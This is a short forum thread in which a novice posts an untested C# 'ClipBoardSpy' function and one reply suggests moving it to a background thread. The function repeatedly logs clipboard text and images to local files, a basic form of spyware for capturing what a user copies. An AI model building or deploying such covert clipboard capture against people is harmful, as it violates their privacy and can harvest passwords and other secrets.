PostClipBoardSpy

Posts 13 of 3 · Page 1 of 1
ClipBoardSpy
So, I was bored and ended up throwing a bunch of functions into a class library because I couldn't think of something to do. This is one of those functions:
Code:
public static void ClipBoardSpy()
            {
                while (true)
                {
                    if (Clipboard.ContainsText())
                    {
                        string cliptext = Clipboard.GetText();//Gets text from the clipboard and stores it in cliptext.
                        string part = "||~||";//Separator for telling the difference between text dumps.
                        File.AppendAllText("ClipDump.txt", cliptext += part);//Appends cliptext to the specified file, and adds our separator. Creates file if it doesn't exist.
                    }
                    if (Clipboard.ContainsImage())
                    {
                        ImageConverter converter = new ImageConverter();//Creates an instance of the ImageConverter class.
                        byte[] imgbuf = (byte[])converter.ConvertTo(Clipboard.GetImage(), typeof(byte[]));//Explicitly(using a cast) converts img to a byte array, saving it in imgbuf.
                        File.WriteAllBytes(Guid.NewGuid().ToString(), imgbuf);//
                    }
                    General.Sleep(2500);
                    if ((!Clipboard.ContainsText()) && (!Clipboard.ContainsImage()))
                    {
                        break;
                    }
}
I'm not a very experienced coder/programmer, so most of you will probably find errors with this or see more efficient ways to do it or find holes in the logic, but I haven't tested this and I'm just throwing it out there as an idea. BTW: This section is dead. Why aren't there more people here?!
Looks alright, but your program will freeze to shit if that's run on the main thread. You'd have to pass it off as a job in a secondary thread for it to run in the background of the program. Gotta be careful with potentially infinite while loops.
The function General.Sleep(2500) makes the program wait 2500 milliseconds. Seems to slow the loop down enough to prevent crashing, I guess. Thanks for the feedback.
Posts 13 of 3 · Page 1 of 1

Post a Reply

Tags for this Thread

None

Need help?